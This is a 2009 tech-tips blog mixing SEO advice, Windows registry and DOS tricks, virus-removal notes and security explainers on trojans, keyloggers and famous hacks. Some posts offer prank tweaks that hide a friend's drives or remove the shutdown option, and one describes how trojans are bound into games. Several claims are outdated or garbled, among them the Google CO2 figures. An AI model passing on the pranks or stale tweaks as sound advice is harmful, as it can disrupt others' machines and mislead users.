2. Use Your Keywords in Your Blog TitleGoogle pays very close attention to the words and phrases you use in your blog title. Notice how I used the term, "blog ranked high on Google" in the title of this article. It's important to use your keyword phrase in your blog title if you want to rank high for that phrase on the Google results page.Another reason you want to use your keyword phrase in your blog title is to give your reader an immediate understanding as to what your blog post is about. If your blog is listed at the top of the search engine results page for your keyword phrase but no one reads it, it's of no value. Use a title that will cause people to click through to your blog post.The New York Times creates two different titles for their articles. They use a catchy, creative or humorous title for their newspaper, and a keyword specific title for the articles and blogs they post to the Internet. They do this because people looking for jokes about the eating habits of nuns generally go to a search engine and type, "jokes about the eating habits of nuns," not "Nuns, Buns and Puns." -:))

3. Use Your Keywords in Your Blog TextNotice how the keyword phrase, "blog ranked high on Google," is used throughout this blog post. Google pays attention to the text on a blog in order to understand what the blog post is about. Once Google comprehends the content of the blog post, it will categorize the blog based on that information. By using your keyword phrase in your text, both Google and your readers can quickly understand what your blog post is about, allowing Google to accurately categorize your blog making it easy for your clients to find. In the past, search engine consultants encouraged writers to use their keyword phrase in the first 25 words of their text and again in the last sentence. Today, the search engines don't seem to pay as much attention to word placement, but reader's do.If your article is about your keyword phrase, it's a good idea to use it in the first and last sentence because it helps your reader quickly know what your blog post is about. It's also a good idea to use your keyword phrase in the first sentence because that is the text that is most likely to show in the description text on the search results page. -:))

4. Link To Your Blog With Keyword Rich Anchor TextGet as many one-way links leading back to your blog post as possible from as many quality blogs and websites as you can. Do your best to insure that the text people click on to get back to your site includes your keywords and keyword phrases. This is known in Internet marketing circles as anchor text.In this example I want the anchor text leading back to my blog post to have the keyword phrase, "blog ranked high on Google," as the clickable text. The clickable text is the means by which all of those other web sites and blogs tell Google what your blog post is about.Google provides far more weight to the theme of your blog post based on the quality and size of the sites linking back to your blog than the text on your blog. For example, if you do a Google search for the term, "click here," you will be taken to the Adobe Reader download web page. It's interesting to note the term "click here" doesn't appear anywhere on that page. The reason the Adobe Reader download page comes up first for this term is because there are millions of other sites that use the anchor text, "click here," to direct people to the Adobe Reader download page.There are two wonderful ways to get keyword rich anchor text directing people back to your blog post. The first is to write and submit an article about your blog post to other web site and blog owners who will upload your article to their site. In return those web site and blog owners will provide you with a keyword rich anchor text link from your article back to your blog. They get great content for their web site and you get a valuable one-way link back to your blog post.The second way is to encourage other blog owners to write about your blog post. In doing so, they are very likely to use your blog title as the anchor text leading readers back to your post. This is another reason why it's so important to use your keyword phrase in your blog title.

5. Ask Your Readers To Digg Your Blog Post. Ask your readers to tell the rest of the world about your blog post by submitting it to one of the social bookmarking sites. They include DIGG, Stumble, Blink and many others. If the title of your blog post includes your keyword phrase, it is likely that this is how your readers will describe your blog post to the social bookmarking sites. This helps Google decide where to rank your site on the search results page.

6. Blog On A Community Site Recognized Expert, Active Rain, and Christian Blog are all examples of niche community blog sites. Recognized Expert is a site for marketing experts, Active Rain is for real estate professionals and the Christian blog is for, you guessed it, Christians. These niche sites have tons of traffic along with the undivided attention of Google and the other search engines. -:))

Delete Undeletable Files in Window XP

2009-01-29T05:46:00.000-08:00

Ever tried to delete a useless system file or antivirus etc. They are not deleted simply and a message appears that "access denied" There is a simple way to delete those files. Read this carefully.

* Click on Start, Search, All Files and Folders.

* Right-click on file and choose properties

file location example: c:\windows\system32\undeleteablefile.exe

* Open a Command Prompt window

* Again Click on Start button, Run and type TASKMGR.EXE and press Enter to start Task manager.

* Click on the Processes tab, click on the process named Explorer.exe and click on End Process.

* Minimize Task Manager.

* Go back to the Command Prompt window and change to the directory where the file is located. To do this, use the CD command.

cd \windows\system32

* Type DEL where is the file you wish to delete.

Example: del undeletablefile.exe

* Go back to Task Manager

* In Task Manager, click File, New Task and enter EXPLORER.EXE to restart the Windows shell.

* Close Task Manager and the file is deleted.

See Hidden File In DOS

2009-01-29T05:25:00.000-08:00

At command prompt just type

Code:
dir /ah

If the list is too long u can use

Code:
dir /ah/p/w

Optimize DSL-CABLE Connection Speed

2009-01-29T05:24:00.000-08:00

First, u need to goto Start, then run. Type in regedit in the box. Next, goto the folder

HKEY_LOCAL_MACHINE\System\CurrentControlSet\VxD\MSTCP

Now, find the string DefaultRcvWindow . Now, edit the number to 64240 then restart your computer. There you go. High speed cable modem now without dloading a program. Original value is 373360

Convert File System, fat - fat32 to ntfs

2009-01-29T05:17:00.000-08:00

Open a dos prompt and give the command

Code:
convert d: /fs:ntfs
this command would convert your d: drive to ntfs.

if the system cannot lock the drive, you will be prompted to convert it during next reboot.

Normally you should select yes.

Conversion from fat/fat32 to ntfs is non-destructive, your data on the drive will NOT be lost.

Be aware that converting to ntfs will make that partition of your
drive unreadable under dos unless you have ntfs utilites to do so.

Anonymous Visit To Windows Update

2009-01-29T05:08:00.000-08:00

Code:
Please back up your registry before trying any of these registry tricks.
Would you like to use the Windows Update feature without being forced to register with Microsoft? OK then, this is what you can do:

Launch Regedit.
Go down to HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion.
Look for a value named RegDone. If it isn't there create a new value with that name.
Right click the new value and choose Modify. Make the value 1.
Close Regedit and
Enjoy!

Newfolder.exe Virus SOLUTION

2009-01-29T04:31:00.000-08:00

NEWFOLDER.EXE,AUTOPLAY VIRUS,SSCVIIHOST.exe,

if u r infected with this virus then the following problems will occur in ur pc:

1. u'll find New Folder.exe file in the root path of every storage media you have?

2. u'll find a new folder inside every folder you have?

3. When you doubleclick on one of your hard drive partitions, it shows you some unexpected results?

4. When you rightclick on one of your hard drive partitions, you see a new item called "Autoplay" on top of other items with bold face?

5. When you right click on one of your hard drive partitions, you see some new items with garbage text?

6. When your Antivirus detects and deletes the malware that causes all of that and restart your system, you see an error message similar to: "Windows cannot find SSCVIIHOST.exe..."?

If your answer was ‘Yes’ to any of the above questions then the chances are that you may be infected with the Sohanad virus (otherwise known as New Folder.exe) or one of its variants:

IM-Worm.Win32.Sohanad.as
IM-Worm.Win32.Sohanad.ao
IM-Worm.Win32.Sohanad.am

The problem is that this virus is particulary cumbersome to remove, even by reputable anti-virus programs. But their is a solution and it is called SRT (or Sohanad Removal Tool)!

What does this tool do?
It detects and reoves all traces of the Sohanad virus from your system, including floppy disks and USB flash disks (the latter ones must be write enabled during the scan process).

It also removes the leftovers of this virus by removing the 'autorun.inf' files and cleaning up you system registry, so you won’t see the 'autoplay' item anymore.

How to use it?
Start your computer in Safe mode and run this tool. If you have infected floppy/flash disks you can insert them and click start. You can repeat this process for every disk you have.

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Hide Email From Your Orkut Friends

2009-01-28T03:48:00.000-08:00

This Simple Tutorial will Save you from Spam mails and Hacking Tricks used by Many hackers.
As you know you can hide your primary email address from non-friends but if by mistake you add a unknown person to your friend list, then he/she will be able to see your primary email address which you use to login. He can send dangerous emails (keyloggers etc.) and steal your Orkut account. There are two Methods to be safe:

1. Changing Primary Email:
Go To Edit Profle Page of your profile, then click on COntact tab and change your Primary Email address to some other id, which you don't use much. Your login id will remain same but your friends will see your other email id.

2. Using Fake EMail id:
It is the most effective way of hiding email id, but it requires a new account, If you have some larger communities and want safety, then follow this method:
* Create a new Orkut account, On the Sign Up page enter any id which does not
exist like yourname@yourname.com, me@orkutaccount.com etc.
* Then after entering other details, you will be redirected to your home page
and with a message "Verify Your Email", Just igonore it and do as stated below
* Now Go to google.com, you will see your fake id on the top-right
corner yourname@yourname.com, You can see "My Account" Option there.
* Go To "My Account Page" and create a gmail id from there. (You can see it
under Try Some More)
* Done! You have your new login id but your friends will still see your fake
id :| Enjoy

Is this Apple's iPhone Nano that will be Announced at Macworld 2009?

2009-01-26T05:50:00.000-08:00

The rumors of the iPhone Nano is back and this time with the photo of the iPhone Nano case.
iDealsChina who has published the information and rendering of the iPhone Nano case manufactured by a Chinese case manufacturer, XSKN claims that the product will be announced at Macworld San Francisco 2009.

The Chinese case manufacturer, XSKN are the same folks who had leaked the photos of Apple's iPhone 3G case with a curved back before it was launched.

iDealsChina has provided few details about iPhone Nano's specification to back up it claims.
They claim that the new iPhone Nano will be of the same height as iPod Nano and will include "3 sensors, camera, [and a] mirror screen but no 3G."

Though I have always maintained that Apple needs to expand its offering to be a serious player in the mobile space, it seems unlikely that Apple would release an iPhone Nano which would look like the one shown in the photo above.
Here are some of the reasons why I think its unlikely:
The so-called iPhone Nano's screen is too small to use iPhone's virtual keyboard.
It is unlikely that Apple would trust a vendor who had leaked the photos of the iPhone 3G case to give them details of their upcoming product.
The smaller screen will have issues for iPhone apps that are currently developed for iPhone's 3.5 inch screen.
But, it is finally good to see some activity on the rumors leading up to Macworld San Francisco 2009.

This is not the first iPhone Nano rumor, we had got a glimpse of the so-called iPhone Nano UI last year.

What do you think about the latest news about iPhone Nano? Any reason which makes you believe that this is a rumor or photo of the new iPhone Nano?

Windows 7 Important Shortcuts

2009-01-26T01:30:00.001-08:00

General
Win+Up : Maximize
Win+Down : Restore / Minimize
Win+Left : Snap to left
Win+Right : Snap to right
Win+Shift+Left : Jump to left monitor
Win+Shift+Right : Jump to right monitor
Win+Home : Minimize / Restore all other windows
Win+T : Focus the first taskbar entry
Pressing again will cycle through them, you can can arrow around.
Win+Shift+T : cycles backwards.
Win+Space : Peek at the desktop
Win+G : Bring gadgets to the top of the Z-order
Win+P : External display options (mirror, extend desktop, etc)
Win+# : (# = a number key)
Launches a new instance of the application in the Nth slot on the taskbar.
Example: Win+1 launches
first pinned app, Win+2 launches second, etc.

Explorer
Alt+ P : Show/hide Preview Pane

Taskbar modifiers
Shift + Click on icon : Open a new instance
Middle click on icon : Open a new instance
Ctrl + Shift + Click on icon : Open a new instance with Admin privileges
Shift + Right-click on icon : Show window menu (Restore / Minimize / Move / etc)
Note: Normally you can just right-click on the window thumbnail to get this menu
Shift + Right-click on grouped icon : Menu with Restore All / Minimize All / Close All, etc.
Ctrl + Click on grouped icon : Cycle between the windows (or tabs) in the group
and lastl but not the least Ctrl + alt + del : Just in case you are stuck :)

Put Shortcuts For Shortcuts!!

2009-01-24T07:21:00.000-08:00

You can put Keyboard shortcuts for desktop shortcuts.
To do this follow these steps :

1) Right click on the shortcut.
2) Go to properties.
3) Click once on the "Shortcut Key" bar.
4) Press any alphabet that you want to use as Shortcut Key.
5) Press OK Now to open that shortcut,
Press CTRL+ALT+"the alphabet".

Changing The DOS Background Color

2009-01-24T07:16:00.000-08:00

The value DefaultColor controls the foreground and background colors used in command prompt windows. It has a default value of 0, for standard white text on a black background.
CHANGING DOS BACKGROUND
Open your registry (press win+r and type regedit , hit enter )
goto

[HKEY_CURRENT_USER\Software\Microsoft\Command Processor]

u’ll find “DefaultColor”

You can replace it’s value with a two-digit hexadecimal number, in which the first digit selects a background color and the second a foreground color. The hexadecimal codes are:

Hexadecimal value Color
0 Black
1 Blue
2 Green
3 Aqua
4 Red
5 Purple
6 Yellow
7 White
8 Gray
9 Light Blue
A Light Green
B Light Aqua
C Light Red
D Light Purple
E Light Yellow
F Bright White

A value of F0, for example, would give black text on a white background, and 1E would yield yellow text on a blue background.

The change should take effect the next time you open a console window.

Keeping the Windows XP Core In The RAM

2009-01-24T07:13:00.000-08:00

If you have 512 MB or more of RAM, you can increase system performance by having the Windows XP ‘Core’ kept in the RAM instead of paged on the hard disk.

Go to Start -> Run - Type regedit and press enter - On the left hand side tree, navigate to

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\

- On the list on the right side, look for an entry called ‘DisablePagingExecutive‘
- Double click it
- Press 1 on your keyboard
- Click OK

- Exit regedit and reboot the computer

To revert to the default setting, follow the same steps as above, but this time, press 0(zero) instead of 1 on the keyboard.

Turn Off All System Beeps

2009-01-21T04:14:00.000-08:00

If you want to turn off all system beeps :

1. Go to Start >Run > Regedit

2. Go to HKEY_CURRENT_USER\Control Panel\Sound

3. Edit the key Beep and give it a value of No

Stored Passwords In Firefox

2009-01-20T00:06:00.000-08:00

There is a severe security risk in Firefox, that most people aren’t even aware of. All the passwords stored or “remembered” in the browser are accessible to anyone who happens to get on their computer (both physically or with hacking tools). Just try this in Firefox:Show saved passwords.

1. Go to Tools -> Options and select the Security tab.
2. Press the Show Passwords button in the middle-right of the window.
3. You should now see a list of sites and your usernames stored. Press Show Passwords again.

See what I mean? Anyone who has access to your computer could have a pretty good “look” at those…

The way to protect yourself from this danger, is to either use a special software such as KeePass to store passwords, or to use Firefox’s own Master Password option (MPW). To enable it, go back to the Security tab in the Options window and check the box Use a master password. Set the Master Password and you’re a lot safer!

Now, every time you start your browser and log in somewhere, Firefox will ask for the Master Password. You won’t be asked for it any more. It will also ask the MPW when trying to view saved passwords the way I explained earlier or when doing anything else with your personal data. This tool will really help you in remembering passwords, as I hope every one of yours is different… Or it’d better be…

A bad guy can also use a plugin or script to view saved passwords in Internet Explorer, but there is no Master Password tool to protect yourself with. Another point for Firefox.

Calculation In DOS

2009-01-19T02:18:00.000-08:00

Calculation on command Prompt ! u knew dis???

The command processor CMD.EXE comes with a mini-calculator that can perform simple arithmetic on 32-bit signed integers:

C:\>set /a 2+2
4
C:\>set /a 2*(9/2)
8
C:\>set /a (2*9)/2
9
C:\>set /a "31>>2"
7

Note that we had to quote the shift operator since it would otherwise be misinterpreted as a "redirect stdout and append" operator.

For more information, type set /? at the command prompt.

How Not To Get Hacked

2009-01-18T00:06:00.000-08:00

Protect Urself !
Follow These Simple Guidelines n u are done

1. Stop using Internet Explorer and make the switch to Opera, it's more secure, plain and simple.

2. Get Spybot Search and Destroy or Spyware Doctor and immediately update it.

3. Get Adaware SE and immediately update it.
(Use both as a 1-2 punch on infected client computers and between the two there's not much they won't kill)

4. Update your anti virus

5. Boot into safe mode and run all three scans

6. While the scans are going check your registry (Click start --> Run and type regedit to get intot he registry) and look in HKEY_CurrentUser/software/microsoft/windows/currentversion/run & HKEY_Local_Machine/software/microsoft/windows/currentversion/run. Verify that all programs listed are legitimate and wanted.

7. If or when your antivirus scan comes across anything, search for that file name in your registry and delete it.

8. Use explorer to go to the windows/system32 folder and sort by date. If you haven't already done so, make sure you can see the entire file names. click Tools --> Folder Options and unclick the box labeled "Hide extensions for known file types" and under Hidden files and folders click "Show hidden files and folders." However, make sure you choose "Hide protected operating system files" so you don't accidentally remove anything that would cripple your computer.. You are looking for recent files with names ending with .exe and .dll that look suspicious. Major culprits will have gibberish names such as alkjdlkjfa.exe.

9. Once you can get clean scans in safe mode, reboot in normal mode and scan all over again. If you can't get a clean scan in regular mode then you have something more persistant that could take more research.

10. Make sure your firewall doesn't have strange exceptions.

11. If you suspect anything that is going wrong with your computer is the action of a stalker, on a more secure system change all your passwords.

12. If your system has been specifically targeted and hacked you can never be 100% sure that your system is no longer compromised so start with 11, make backups of personal files on the infected system and format and re-install Windows.

Good luck!

Hide Your Drives

2009-01-17T03:07:00.001-08:00

This is a great trick you can play on your friends. To disable the display of local or networked drives when you click My Computer.

1.Go to start->run.Type regedit.Now go to:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Now in the right pane create a new DWORD item and name it NoDrives(it is case sensitive). Now modify it’s value and set it to 3FFFFFF (Hexadecimal) .Now restart your computer. So, now when you click on My Computer, no drives will be shown(all gone…). To enable display of drives in My Computer, simply delete this DWORD item that you created.Again restart your computer.You can now see all the drives again.

What are Trojans? Everything About Trojans

2009-01-16T04:29:00.000-08:00

Trojan’s are the most dangerous of all types of attacks.

What are Trojans?

Trojans are small programs through which the hacker gain control over your system. Although, most of the Trojans are detected by anti virus programs but the frequency with which these programs are written is far more than the anti virus updating system.

Some common features with Trojans are as follows:

• Capturing screenshots of your computer.

• Recording key strokes and sending files to the hacker

• Giving full Access to all your drives and files.

• Ability to use your computer to do other hacking related activities.

Every Trojan has two parts a Client and a Server. In order to gain access, the server file must be installed in the target computer.

How this is done?

Initially this was done using a simple email. The hacker will send you an email with some sort of attachment (the Server File). The matter of that mail will make you open that attachment, when you double click on it you will see nothing but in the background the server file gets installed on your system.

Now, all the hacker has to do is just use the client file to connect to your system.

But this method became so popular that the hacker has to search for some other technique to achieve the above objective.

How many of you have played small computer games such as “shooting bird”, “catching butterflies”, “slapping some face”, etc

Now, in this technique the hacker joins two exe files into a single file i.e. the server file + the game file.

In this case when you open the attachment you will see the game but at the same time the server also gets installed on your system.

This is just one way; there are many other ways to achieve this objective. So always be careful whenever you are opening an unknown attachment, or while visiting unsafe websites, while chatting, etc.

Top 10 Hacks Of History

2009-01-15T01:52:00.000-08:00

Here is a list of the top 10 hacks of all time.

Early 1990s
Kevin Mitnick, often incorrectly called by many as god of hackers, broke into the computer systems of the world's top technology and telecommunications companies Nokia, Fujitsu, Motorola, and Sun Microsystems. He was arrested by the FBI in 1995, but later released on parole in 2000. He never termed his activity hacking, instead he called it social engineering.

November 2002
Englishman Gary McKinnon was arrested in November 2002 following an accusation that he hacked into more than 90 US military computer systems in the UK. He is currently undergoing trial in a British court for a "fast-track extradition" to the US where he is a wanted man. The next hearing in the case is slated for today.

1995
Russian computer geek Vladimir Levin effected what can easily be called The Italian Job online - he was the first person to hack into a bank to extract money. Early 1995, he hacked into Citibank and robbed $10 million. Interpol arrested him in the UK in 1995, after he had transferred money to his accounts in the US, Finland, Holland, Germany and Israel.

1990
When a Los Angeles area radio station announced a contest that awarded a Porsche 944S2 for the 102nd caller, Kevin Poulsen took control of the entire city's telephone network, ensured he is the 102nd caller, and took away the Porsche beauty. He was arrested later that year and sentenced to three years in prison. He is currently a senior editor at Wired News.

1983
Kevin Poulsen again. A little-known incident when Poulsen, then just a student, hacked into Arpanet, the precursor to the Internet was hacked into. Arpanet was a global network of computers, and Poulsen took advantage of a loophole in its architecture to gain temporary control of the US-wide network.

1996
US hacker Timothy Lloyd planted six lines of malicious software code in the computer network of Omega Engineering which was a prime supplier of components for NASA and the US Navy. The code allowed a "logic bomb" to explode that deleted software running Omega's manufacturing operations. Omega lost $10 million due to the attack.

1988
Twenty-three-year-old Cornell University graduate Robert Morris unleashed the first Internet worm on to the world. Morris released 99 lines of code to the internet as an experiment, but realised that his program infected machines as it went along. Computers crashed across the US and elsewhere. He was arrested and sentenced in 1990.

1999
The Melissa virus was the first of its kind to wreak damage on a global scale. Written by David Smith (then 30), Melissa spread to more than 300 companies across the world completely destroying their computer networks. Damages reported amounted to nearly $400 million. Smith was arrested and sentenced to five years in prison.

2000
MafiaBoy, whose real identity has been kept under wraps because he is a minor, hacked into some of the largest sites in the world, including eBay, Amazon and Yahoo between February 6 and Valentine's Day in 2000. He gained access to 75 computers in 52 networks, and ordered a Denial of Service attack on them. He was arrested in 2000.

1993
They called themselves Masters of Deception, targeting US phone systems. The group hacked into the National Security Agency, AT&T, and Bank of America. It created a system that let them bypass long-distance phone call systems, and gain access to the pbx of major carriers.

Security Hole Opens Up Password Protected iPhones

2009-01-14T02:54:00.000-08:00

A serious security hole in the latest iPhone software exposes e-mail, text, and voice messages to whoever gets a hold of the device despite it being password-protected.

Basically, clicking emergency call and double-clicking the “home” button brings up the favorites on iPhone 2.0.2, which opens up the address book, the dial keypad and voice mail, according to a report on Engadget, which got the tip on the hole from the MacRumors Forum.

Then, clicking on the blue arrows next to the names gives access to private information in a favorite entry, clicking in a mail address opens up the mail application, clicking on a URL in the contact information opens up Safari, and clicking on “send a text message” in a contact gives full access to the text messages.

Prevention ::
The report suggests using the “home” setting so that double-clicking on the home button will take whoever is holding the phone to the unlock screen page.

Engadget reports that a fix for the hole will be included in the next firmware update, but it’s not known when that update will come."

Make VERY Strong Passwords

2009-01-14T02:26:00.000-08:00

As some Microsoft Operating System geeks know, you can type many more characters than are on a standard keyboard by using the ALT+NUMPAD combination technique. For example, by holding down the ALT key, typing 234 on the number pad, then releasing ALT gives you the O character. I'm writing this article mostly because when I search around for information on the topic of ALT+Number key combos I find pages that are lacking in details. Most of the pages I found are coming from the angle of using ALT+NUMPAD combinations as shortcuts for typing in non-English languages, but I have another use for them. Using ALT+NUMPAD can make for some very ugly passwords to crack. These odd characters have two major advantages over normal keystrokes:

1. They are unlikely to be in someone's dictionary or brute force list. Try brute forcing a password like "ace of ?s" or "I am the a and the O".

2. Some hardware key loggers will not log these odd characters. Your mileage may vary on this as some key loggers can, so don't rely on it to keep you 100% safe.

Google Produces Co2 (Carbon Dioxide)

2009-01-12T03:03:00.000-08:00

Environmental experts warned that browsing a website like Google could cause as much damage to the environment by generating more carbon dioxide as the aviation industry.

If you do a Google search once, it generates about seven grams of carbon dioxide -- about one half of boiling a kettle of water for tea, which produces about 15 grams.

The CO2 emissions are caused by the electricity that is required to power a user’s computer and the electricity that is used by Google’s servers or other website’s servers. The electricity is mostly generated by fossil fuels which then emit more CO2 into the atmosphere.

Environmental experts not only blame Google but the entire information technology industry. According to Gartner, an American research firm, the IT industry produces about two percent of global CO2 emissions and their carbon footprint exceeded aviation industry for the first time in 2007.

Dr. Alex Wissner-Gross, a physicist from Harvard University, has calculated how much a single visit to a website produces CO2. It produces about 0.02 grams of CO2 for every second they are viewed. If the site has more multimedia features, then it will produce even more CO2 amounts close to 0.20 grams.

IN SHORT GOOGLE PRODUCES THE SAME AMOUNT OF CO2 WHICH IS PRODUCED IN PREPARING TWO CUPS OF TEA!

Run Firefox Inside Firefox

2009-01-12T02:27:00.000-08:00

How to run Firefox inside Firefox?

Yup you can run Firefox inside firefox just by typing the following url.

How about Opening Firefox inside Firefox which is again in another Firefox..?
Not bad huh?
And its really easy too just type in this url in Firefox's address bar and there you go!
Firefox inside Firefox!

Copy paste following url in a web browser (mozilla firefox).

chrome://browser/content/browser.xul

Fool A Keylogger

2009-01-11T00:28:00.000-08:00

These days Agents spy on you everywhere, in college, at work, maybe a trojan virus on your home PC which keylogs your paswords and mails it to someone else. If you think you are being logged, try this:

Whenever you have to type a password, never type the complete password in one go, ie, if your password is WINDOWS, u should type NDOW, then move cursor to start of the password field using the mouse ONLY, then type WI, then move cursor to end using the mouse and type S. This way the logger will record your keystrokes as [ndowwis] instead of [WINDOWS].

Haha, keylogger fooled. Use this trick whenever you login from a Cyber café or any Computer that is not yours.

Temp2.exe Virus Solution

2009-01-10T02:44:00.000-08:00

IF U R INFECTED WITH THIS VIRUS THEN THE FOLLOWING PROBLEMS WILL OCCUR:

When you doubleclick on one of your hard drive partitions, it show you some unexpected results?

When you rightclick on one of your hard drive partitions, you see a new item called "Autoplay" on top of other items with bold face?

When you right click on one of your hard drive partitions, do you see some new items with garbage text?

THIS IS Perlovga virus (otherwise known as temp2.exe) or one of its variants. The problem is that this virus is particulary cumbersome to remove, even by reputable anti-virus programs. But their is a solution and it is called PRT (or Perlovga Removal Tool)!

What does this tool do?
It detects and removes all traces of the Perlovga virus from your system, including floppy disks and USB flash disks (the latter ones must be write enabled during the scan process).

It also removes the leftovers of this virus by removing the 'autorun.inf' files and cleaning up you system registry, so you won’t see the 'autoplay' item anymore.

How to use it?
Start your computer in Safe mode and run this tool. If you have infected floppy/flash disks you can insert them and click start. You can repeat this process for every disk you have

DOWNLOAD SOFTWARE

Remove Shutdown Option

2009-01-09T01:06:00.000-08:00

Click on start>run(win key+r)

Then tpye “regedit” there, this opens up the registry editor, now goto

HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows>CurrentVersion>Explorer

Then set “NoClose”=”DWORD:1?

Microsoft Windows 7 Beta coming this Friday

2009-01-08T04:30:00.000-08:00

Steve Ballmer in his keynote at the CES announced the availability of the beta version of Windows 7. While MSDN, TechBeta and TechNet subscribers are eligible to get their hands on Vista successor from today, users like you and me will be able to download the beta from January 9 i.e. Friday.

Having used the pre-released version of Windows 7, I am pretty excited to try the official beta version. Windows 7 is touted to be faster, more reliable and better compatibility than Vista.

Dos Tricks and Shortcuts

2009-01-08T04:00:00.001-08:00

Accessibility Controls
access.cpl

Add Hardware Wizard
hdwwiz.cpl

Add/Remove Programs
appwiz.cpl

Administrative Tools
control admintools

Automatic Updates
wuaucpl.cpl

Bluetooth Transfer Wizard
fsquirt

Calculator
calc

Certificate Manager
certmgr.msc

Character Map
charmap

Check Disk Utility
chkdsk

Clipboard Viewer
clipbrd

Command Prompt
cmd

Component Services
dcomcnfg

Computer Management
compmgmt.msc

timedate.cpl
ddeshare

Device Manager
devmgmt.msc

Direct X Control Panel (If Installed)*
directx.cpl

Direct X Troubleshooter
dxdiag

Disk Cleanup Utility
cleanmgr

Disk Defragment
dfrg.msc

Disk Management
diskmgmt.msc

Disk Partition Manager
diskpart

Display Properties
control desktop

Display Properties
desk.cpl

Display Properties (w/Appearance Tab Preselected)
control color

Dr. Watson System Troubleshooting Utility
drwtsn32

Driver Verifier Utility
verifier

Event Viewer
eventvwr.msc

File Signature Verification Tool
sigverif

Findfast
findfast.cpl

Folders Properties
control folders

Fonts
control fonts

Fonts Folder
fonts

Free Cell Card Game
freecell

Game Controllers
joy.cpl

Group Policy Editor (XP Prof)
gpedit.msc

Hearts Card Game
mshearts

Iexpress Wizard
iexpress

Indexing Service
ciadv.msc

Internet Properties
inetcpl.cpl

IP Configuration (Display Connection Configuration)
ipconfig /all

IP Configuration (Display DNS Cache Contents)
ipconfig /displaydns

IP Configuration (Delete DNS Cache Contents)
ipconfig /flushdns

IP Configuration (Release All Connections)
ipconfig /release

IP Configuration (Renew All Connections)
ipconfig /renew

IP Configuration (Refreshes DHCP & Re-Registers DNS)
ipconfig /registerdns

IP Configuration (Display DHCP Class ID)
ipconfig /showclassid

IP Configuration (Modifies DHCP Class ID)
ipconfig /setclassid

Java Control Panel (If Installed)
jpicpl32.cpl

Java Control Panel (If Installed)
javaws

Keyboard Properties
control keyboard

Local Security Settings
secpol.msc

Local Users and Groups
lusrmgr.msc

Logs You Out Of Windows
logoff

Microsoft Chat
winchat

Minesweeper Game
winmine

Mouse Properties
control mouse

Mouse Properties
main.cpl

Network Connections
control netconnections

Network Connections
ncpa.cpl

Network Setup Wizard
netsetup.cpl

Notepad
notepad

Nview Desktop Manager (If Installed)
nvtuicpl.cpl

Object Packager
packager

ODBC Data Source Administrator
odbccp32.cpl

On Screen Keyboard
osk

Opens AC3 Filter (If Installed)
ac3filter.cpl

Password Properties
password.cpl

Performance Monitor
perfmon.msc

Performance Monitor
perfmon

Phone and Modem Options
telephon.cpl

Power Configuration
powercfg.cpl

Printers and Faxes
control printers

Printers Folder
printers

Private Character Editor
eudcedit

Quicktime (If Installed)
QuickTime.cpl

Regional Settings
intl.cpl

Registry Editor
regedit

Registry Editor
regedit32

Remote Desktop
mstsc

Removable Storage
ntmsmgr.msc

Removable Storage Operator Requests
ntmsoprq.msc

Resultant Set of Policy (XP Prof)
rsop.msc

Scanners and Cameras
sticpl.cpl

Scheduled Tasks
control schedtasks

Security Center
wscui.cpl

Services
services.msc

Shared Folders
fsmgmt.msc

Shuts Down Windows
shutdown

Sounds and Audio
mmsys.cpl

Spider Solitare Card Game
spider

SQL Client Configuration
cliconfg

System Configuration Editor
sysedit

System Configuration Utility
msconfig

System File Checker Utility (Scan Immediately)
sfc /scannow

System File Checker Utility (Scan Once At Next Boot)
sfc /scanonce

System File Checker Utility (Scan On Every Boot)
sfc /scanboot

System File Checker Utility (Return to Default Setting)
sfc /revert

System File Checker Utility (Purge File Cache)
sfc /purgecache

System File Checker Utility (Set Cache Size to size x)
sfc /cachesize=x

System Properties
sysdm.cpl

Task Manager
taskmgr

Telnet Client
telnet

User Account Management
nusrmgr.cpl

Utility Manager
utilman

Windows Firewall
firewall.cpl

Windows Magnifier
magnify

Windows Management Infrastructure
wmimgmt.msc

Windows System Security Tool
syskey

Windows Update Launches
wupdmgr

Windows XP Tour Wizard
tourstart

Wordpad
write

Reveal ***** (Asterisk) Passwords Using Javascript

2009-01-07T02:26:00.000-08:00

Want to Reveal the Passwords Hidden Behind Asterisk (*****) ?

Follow the steps given below-

1) Open the Login Page of any website. (eg. http://mail.yahoo.com)

2) Type your 'Username' and 'Password'.

3) Copy and paste the JavaScript code given below into your browser's address bar and press 'Enter'.
javascript: alert(document.getElementById('Passwd').value);

4) As soon as you press 'Enter', A window pops up showing Password typed by you..!

Note :- This trick may not be working with firefox.

What Are Keyloggers? Everything About Keyloggers

2009-01-06T04:44:00.000-08:00

Keyloggers are specially devised programs that are installed inside a computer via a Trojan, a virus or a worm. Once inside, the Keylogger will auto execute and start recording all the key strokes made by the computer user. Once a determined period of time has gone by, the Keylogger will send the keystroke information to the hacker who sent this infectious software.

Then the hacker will start searching key combinations that can lead him to determine the password for determined web pages. This simple and effective method is a favorite among hackers since it can provide them with lots of private information from their victims.

Many computer users have more than one email account, especially if they use the messenger services from multiple providers, like Microsoft's Hotmail, Yahoo's Email or AOL email. It doesn't matter if you have one or many email accounts, every one of them may be a victim of a hacker. Even with the security measures imposed by the companies, Yahoo password hacking or hotmail hacking still exist. And it's very improbable that will disappear.

So, if you want to protect yourself from people who are hacking yahoo accounts or whose whole purpose in life is to do some MSN hacking, then increase the number of special characters in your password and try not to access your email account from a computer that is not yours. And that goes to IM's too. The ability for hacking yahoo messenger or any other IM provider it's a latent danger for all of us.

Some of the examples of Keyloggers are :
Golden Keylogger
Elite Keylogger
Perfect keyloggger
Ardmax Keylogger
Win-Spy Keylogger
Family Keylogger
and many more…..

Display Message On Startup

2009-01-06T03:10:00.000-08:00

1.Go to Start > RUN > regedit
2.Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft \Windows NT\CurrentVersion\Winlogon
3.Modify the key legalnoticecaption with what you want to name the window.
4.Modify the key legalnoticetext with what you want the window to say.
5.Restart

11 Ways To Make Your Computer Faster

2009-01-05T02:17:00.000-08:00

Your computer running Windows isn’t running in the same speed that it used to run when you first used it. It’s slower, crappy, takes a while to start and tests your patience like anything. There are many reasons for this, let’s try fixing up a few things on your slow Windows PC:

Slow Start Up
